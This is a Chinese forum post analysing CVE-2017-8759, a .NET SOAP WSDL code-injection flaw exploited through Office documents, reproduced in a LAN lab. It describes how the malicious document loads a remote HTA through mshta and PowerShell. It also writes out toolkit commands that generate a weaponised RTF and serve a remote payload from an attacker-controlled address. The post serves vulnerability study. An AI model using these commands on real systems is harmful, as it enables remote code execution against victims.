-
-
[原创]CVE-2017-8759漏洞远程渗透利用分析
-
发表于:
2017-9-24 00:05
9932
-
[原创]CVE-2017-8759漏洞远程渗透利用分析
CVE-2017-8759漏洞是由一个换行符引发的0day漏洞,该漏洞影响所有主流的.NET Framework版本。在.net库中的SOAP WSDL解析模块IsValidUrl函数没有正确处理包含回车换行符的情况,导致调用者函数PrintClientProxy存在代码注入执行漏洞,该漏洞被用于Office文档高级威胁攻击。笔者在分析了漏洞样本文件,在局域网环境下实现了远程渗透,并进行了调试分析。
声明,该漏洞分析及利用过程仅作学习研究之用,由此产生的直接和间接后果作者概不负责。
0x01分析环境
0x02样本分析
0x021样本1分析
样本1由三个部分组成,Doc1.doc、cmd.hta、exploit.txt,使用winhex打开Doc1.doc,如图
1
可以看到,Doc1.doc中包含引用指定url上文件的soap wsdl路径,引用的文件正好是exploit.txt,打开该文件,如图2
可以看到,该文件中是xml格式,有2个soap:address location,且第二个soap:address location后面是回车换行,然后是要注入的代码,存在漏洞的SOAP WSDL解析模块IsValidUrl函数对soap:address location处理失误,导致后面的注入代码执行。该代码使用System.Diagnostics.Process.Start方法调用mshta.exe加载指定url上的hta脚本。
使用notepad.exe打开cmd.hta,如图3
该hta文件使用VBScrip脚本语言,利用powershell执行mspaint.exe。
可以总结样本1的执行流程,如图4:
将exploit.txt和cmd.hta放到IIS服务器根目录wwwroot下,在本地计算机打开Doc1.doc,如图5
注入代码得到执行,弹出了画图工具界面。
为了从二进制角度观察注入代码执行情况,用OllyDbg附加到word进程。由于我使用的word 2013,在OllyDbg的附加进程窗口找不到WINWORD.EXE,尝试用OllyDbg直接打开安装目录下的WINWORD.EXE,同样失败。但是在任务管理器中可以看到WINWORD.EXE,至于为什么不能调试,一时找不到原因,可能是使用了反调试技术。
修改Doc1.doc中的url为宿主机ip,在虚拟机上打开Doc1.doc,注入代码并没有得到执行。
0x022样本2分析
样本2使用github项目上的cve-2017-8759_toolkit.py生成。该工具包的语法如下:
1.生成恶意rtf文档
python cve-2017-8759_toolkit.py -M gen -w
Invoice.rtf -u http://192.168.2.3/exploit.txt
-M表示模式,生成恶意rtf或进行exploit,gen表示生成恶意rtf,-w 后面是rtf文档的名称,-u后面是远程文档的路径(相对于目标机器),是一个url,其中exploit.txt与样本1中的exploit.txt内容一样,是一个soap xml文件,即恶意rtf在目标机器上打开时链接的文件
在命令提示符下运行上述命令,如图6
可以看到,rtf文件在Administrator文档下已经生成。
2.
exploit
python cve-2017-8759_toolkit.py -M exp -e http://192.168.2.3/cmd.hta
-l /tmp/cmd.hta
-M表示模式,exp表示进行exploit,-e后面是在目标机器上要执行的可执行文件或载荷的路径,是一个url,其中cmd.hta与样本1中的一样,-l指定可执行文件或载荷的本地路径(服务器)。
在命令提示符下运行上述命令,如图7
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课